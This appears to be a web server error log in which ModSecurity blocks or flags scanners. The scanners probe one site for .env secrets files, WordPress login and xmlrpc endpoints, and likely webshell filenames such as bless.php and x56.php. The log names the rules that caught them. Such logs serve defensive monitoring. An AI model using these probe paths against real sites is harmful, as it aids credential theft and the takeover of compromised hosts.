[Tue Nov 25 13:42:21.521302 2025] [:error] [pid 14077:tid 14115] [client 35.87.90.161:54740] [client 35.87.90.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/app/.env"] [unique_id "aSVBvRG9n7UHEkwDTyjxowAAAEU"]
[Tue Nov 25 13:42:22.247833 2025] [:error] [pid 14077:tid 14127] [client 35.87.90.161:54744] [client 35.87.90.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/app/.env.save"] [unique_id "aSVBvhG9n7UHEkwDTyjxpgAAAFE"]
[Tue Nov 25 13:42:22.979325 2025] [:error] [pid 28739:tid 28785] [client 35.87.90.161:54760] [client 35.87.90.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/app/.env.bak"] [unique_id "aSVBvhxGpKmlkG4FexQtnwAAAhc"]
[Tue Nov 25 13:42:23.714321 2025] [:error] [pid 14077:tid 14128] [client 35.87.90.161:54776] [client 35.87.90.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/app/.env.old"] [unique_id "aSVBvxG9n7UHEkwDTyjxqQAAAFI"]
[Tue Nov 25 15:33:48.081631 2025] [:error] [pid 2987:tid 3007] [client 20.199.41.85:38028] [client 20.199.41.85] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aSVb3M-djEt-pTzPxnxhkgAAAVI"]
[Tue Nov 25 16:45:55.415847 2025] [:error] [pid 28609:tid 28630] [client 170.64.172.21:54192] [client 170.64.172.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 170.64.172.21, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aSVswyGGdT-nZJVs3x2eOAAAAYw"]
[Tue Nov 25 16:45:55.428285 2025] [proxy_fcgi:error] [pid 28609:tid 28630] [client 170.64.172.21:54192] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 18:53:12.393842 2025] [proxy_fcgi:error] [pid 14168:tid 14173] [client 138.199.60.187:53216] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 18:53:12.518894 2025] [:error] [pid 14168:tid 14186] [client 138.199.60.187:53216] [client 138.199.60.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "aSWKmPR-ZDU0QEgAIItcPAAAAM8"]
[Tue Nov 25 18:53:12.782501 2025] [:error] [pid 2987:tid 3005] [client 138.199.60.187:53490] [client 138.199.60.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "aSWKmM-djEt-pTzPxnyUGgAAAVA"]
[Tue Nov 25 18:53:13.109356 2025] [:error] [pid 28836:tid 28963] [client 138.199.60.187:53694] [client 138.199.60.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "aSWKmZwNRsoxcLQGkTe3lAAAAsg"]
[Tue Nov 25 18:53:13.343772 2025] [:error] [pid 28740:tid 28814] [client 138.199.60.187:53860] [client 138.199.60.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "aSWKmVppQCoYxWW6V0VyjgAAAlc"]
[Tue Nov 25 18:53:14.691179 2025] [:error] [pid 14076:tid 14087] [client 138.199.60.187:54632] [client 138.199.60.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "aSWKmnsB4Gz6Qw-pvBsKagAAAAY"]
[Tue Nov 25 18:53:14.939314 2025] [:error] [pid 2987:tid 3007] [client 138.199.60.187:54780] [client 138.199.60.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aSWKms-djEt-pTzPxnyUMAAAAVI"]
[Tue Nov 25 18:53:15.205760 2025] [:error] [pid 28842:tid 28990] [client 138.199.60.187:54958] [client 138.199.60.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aSWKm9NmoaPf6T4-6C2D3AAAA0A"]
[Tue Nov 25 18:53:15.493722 2025] [:error] [pid 14168:tid 14188] [client 138.199.60.187:55160] [client 138.199.60.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aSWKm_R-ZDU0QEgAIItcaAAAANE"]
[Tue Nov 25 18:53:15.718746 2025] [:error] [pid 28836:tid 28967] [client 138.199.60.187:55416] [client 138.199.60.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aSWKm5wNRsoxcLQGkTe3vgAAAsw"]
[Tue Nov 25 18:53:15.992652 2025] [:error] [pid 14077:tid 14112] [client 138.199.60.187:55660] [client 138.199.60.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aSWKmxG9n7UHEkwDTyh-bwAAAEI"]
[Tue Nov 25 19:09:03.488547 2025] [:error] [pid 28609:tid 28636] [client 152.59.33.144:6078] [client 152.59.33.144] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.33.144, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aSWOTyGGdT-nZJVs3x286AAAAZI"]
[Tue Nov 25 19:09:03.499785 2025] [proxy_fcgi:error] [pid 28609:tid 28636] [client 152.59.33.144:6078] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 20:14:57.133566 2025] [proxy_fcgi:error] [pid 28836:tid 28961] [client 134.149.17.123:65444] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 20:14:58.400134 2025] [proxy_fcgi:error] [pid 28836:tid 28962] [client 134.149.17.123:65444] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 20:14:58.936169 2025] [proxy_fcgi:error] [pid 28836:tid 28960] [client 134.149.17.123:65444] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 20:14:59.201195 2025] [proxy_fcgi:error] [pid 28836:tid 29012] [client 134.149.17.123:65444] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 20:14:59.486024 2025] [proxy_fcgi:error] [pid 28836:tid 29014] [client 134.149.17.123:65444] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 20:15:00.176323 2025] [proxy_fcgi:error] [pid 28836:tid 29013] [client 134.149.17.123:65444] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 20:15:00.445888 2025] [proxy_fcgi:error] [pid 28836:tid 28958] [client 134.149.17.123:65444] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 20:15:00.715377 2025] [proxy_fcgi:error] [pid 28836:tid 28966] [client 134.149.17.123:65444] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 20:15:00.968834 2025] [:error] [pid 28836:tid 28956] [client 134.149.17.123:65444] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x56.php"] [unique_id "aSWdxJwNRsoxcLQGkTfOMAAAAsE"]
[Tue Nov 25 20:15:03.491190 2025] [:error] [pid 28836:tid 28962] [client 134.149.17.123:65452] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x56.php"] [unique_id "aSWdx5wNRsoxcLQGkTfOMQAAAsc"]
[Tue Nov 25 20:15:04.964257 2025] [:error] [pid 28609:tid 28633] [client 134.149.17.123:65372] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x56.php"] [unique_id "aSWdyCGGdT-nZJVs3x3PLgAAAY8"]
[Tue Nov 25 20:15:06.506201 2025] [:error] [pid 14076:tid 14085] [client 134.149.17.123:65466] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x56.php"] [unique_id "aSWdynsB4Gz6Qw-pvBshjAAAAAQ"]
[Tue Nov 25 20:15:07.949919 2025] [:error] [pid 14077:tid 14111] [client 134.149.17.123:65454] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/htaccess.php"] [unique_id "aSWdyxG9n7UHEkwDTyincwAAAEE"]
[Tue Nov 25 20:15:08.813733 2025] [:error] [pid 28739:tid 28779] [client 134.149.17.123:65347] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/htaccess.php"] [unique_id "aSWdzBxGpKmlkG4FexSGBAAAAhE"]
[Tue Nov 25 20:15:09.563018 2025] [:error] [pid 2987:tid 3011] [client 134.149.17.123:65357] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/htaccess.php"] [unique_id "aSWdzc-djEt-pTzPxnyuqAAAAVY"]
[Tue Nov 25 20:15:10.623074 2025] [:error] [pid 14077:tid 14117] [client 134.149.17.123:65367] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/htaccess.php"] [unique_id "aSWdzhG9n7UHEkwDTyineQAAAEc"]
[Tue Nov 25 20:15:11.671806 2025] [:error] [pid 2987:tid 2998] [client 134.149.17.123:65447] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/readme.php"] [unique_id "aSWdz8-djEt-pTzPxnyuqQAAAUk"]
[Tue Nov 25 20:15:12.843783 2025] [:error] [pid 14076:tid 14105] [client 134.149.17.123:65450] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/readme.php"] [unique_id "aSWd0HsB4Gz6Qw-pvBshkgAAABg"]
[Tue Nov 25 20:15:14.298144 2025] [:error] [pid 28740:tid 28800] [client 134.149.17.123:65431] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/readme.php"] [unique_id "aSWd0lppQCoYxWW6V0WRPAAAAkk"]
[Tue Nov 25 20:15:16.020186 2025] [:error] [pid 14076:tid 14083] [client 134.149.17.123:65423] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/readme.php"] [unique_id "aSWd1HsB4Gz6Qw-pvBshmQAAAAI"]
[Tue Nov 25 20:15:16.839000 2025] [:error] [pid 14076:tid 14086] [client 134.149.17.123:65358] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Cok.php"] [unique_id "aSWd1HsB4Gz6Qw-pvBshmgAAAAU"]
[Tue Nov 25 20:15:17.829848 2025] [:error] [pid 28609:tid 28633] [client 134.149.17.123:65437] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Cok.php"] [unique_id "aSWd1SGGdT-nZJVs3x3PNwAAAY8"]
[Tue Nov 25 20:15:18.803400 2025] [:error] [pid 14078:tid 14152] [client 134.149.17.123:65378] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Cok.php"] [unique_id "aSWd1tVXYbb0ii_rVoJS7QAAAI8"]
[Tue Nov 25 20:15:19.675770 2025] [:error] [pid 28740:tid 28810] [client 134.149.17.123:65381] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Cok.php"] [unique_id "aSWd11ppQCoYxWW6V0WRQwAAAlM"]
[Tue Nov 25 20:15:20.864993 2025] [:error] [pid 14077:tid 14111] [client 134.149.17.123:65366] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x50.php"] [unique_id "aSWd2BG9n7UHEkwDTyinlAAAAEE"]
[Tue Nov 25 20:15:21.914064 2025] [:error] [pid 14077:tid 14134] [client 134.149.17.123:17361] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x50.php"] [unique_id "aSWd2RG9n7UHEkwDTyinnwAAAFg"]
[Tue Nov 25 20:15:22.684409 2025] [:error] [pid 14078:tid 14160] [client 134.149.17.123:65433] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x50.php"] [unique_id "aSWd2tVXYbb0ii_rVoJS-QAAAJc"]
[Tue Nov 25 20:15:23.648958 2025] [:error] [pid 28609:tid 28619] [client 134.149.17.123:65446] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x50.php"] [unique_id "aSWd2yGGdT-nZJVs3x3POwAAAYE"]
[Tue Nov 25 20:15:24.530482 2025] [:error] [pid 14077:tid 14120] [client 134.149.17.123:65409] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ot.php"] [unique_id "aSWd3BG9n7UHEkwDTyinpwAAAEo"]
[Tue Nov 25 20:15:25.369788 2025] [:error] [pid 28836:tid 29011] [client 134.149.17.123:65348] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ot.php"] [unique_id "aSWd3ZwNRsoxcLQGkTfOQAAAAtU"]
[Tue Nov 25 20:15:26.544301 2025] [:error] [pid 14168:tid 14179] [client 134.149.17.123:65396] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ot.php"] [unique_id "aSWd3vR-ZDU0QEgAIItx3gAAAMg"]
[Tue Nov 25 20:15:27.889352 2025] [:error] [pid 28836:tid 28969] [client 134.149.17.123:65417] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ot.php"] [unique_id "aSWd35wNRsoxcLQGkTfORAAAAs4"]
[Tue Nov 25 20:15:29.080253 2025] [:error] [pid 28842:tid 29000] [client 134.149.17.123:65418] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fv.php"] [unique_id "aSWd4dNmoaPf6T4-6C2iqwAAA0o"]
[Tue Nov 25 20:15:30.857481 2025] [:error] [pid 28740:tid 28805] [client 134.149.17.123:65420] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fv.php"] [unique_id "aSWd4lppQCoYxWW6V0WRVAAAAk4"]
[Tue Nov 25 20:15:31.708613 2025] [:error] [pid 28739:tid 28781] [client 134.149.17.123:65412] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fv.php"] [unique_id "aSWd4xxGpKmlkG4FexSGFAAAAhM"]
[Tue Nov 25 20:15:32.837434 2025] [:error] [pid 28739:tid 28776] [client 134.149.17.123:65448] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fv.php"] [unique_id "aSWd5BxGpKmlkG4FexSGFQAAAg4"]
[Tue Nov 25 20:15:33.891114 2025] [:error] [pid 28740:tid 28797] [client 134.149.17.123:65470] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lx.php"] [unique_id "aSWd5VppQCoYxWW6V0WRVwAAAkY"]
[Tue Nov 25 20:15:35.099177 2025] [:error] [pid 28842:tid 29002] [client 134.149.17.123:65461] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lx.php"] [unique_id "aSWd59NmoaPf6T4-6C2itgAAA0w"]
[Tue Nov 25 20:15:36.673692 2025] [:error] [pid 14077:tid 14116] [client 134.149.17.123:65469] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lx.php"] [unique_id "aSWd6BG9n7UHEkwDTyintAAAAEY"]
[Tue Nov 25 20:15:37.405788 2025] [:error] [pid 28609:tid 28639] [client 134.149.17.123:65344] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lx.php"] [unique_id "aSWd6SGGdT-nZJVs3x3PRgAAAZU"]
[Tue Nov 25 20:15:38.703811 2025] [:error] [pid 28740:tid 28807] [client 134.149.17.123:65419] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w1w.php"] [unique_id "aSWd6lppQCoYxWW6V0WRbAAAAlA"]
[Tue Nov 25 20:15:39.672614 2025] [:error] [pid 28842:tid 28992] [client 134.149.17.123:65352] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w1w.php"] [unique_id "aSWd69NmoaPf6T4-6C2iuQAAA0I"]
[Tue Nov 25 20:15:40.625562 2025] [:error] [pid 28739:tid 28770] [client 134.149.17.123:65351] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w1w.php"] [unique_id "aSWd7BxGpKmlkG4FexSGFwAAAgg"]
[Tue Nov 25 20:15:41.389740 2025] [:error] [pid 14078:tid 14138] [client 134.149.17.123:65416] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w1w.php"] [unique_id "aSWd7dVXYbb0ii_rVoJTIQAAAIE"]
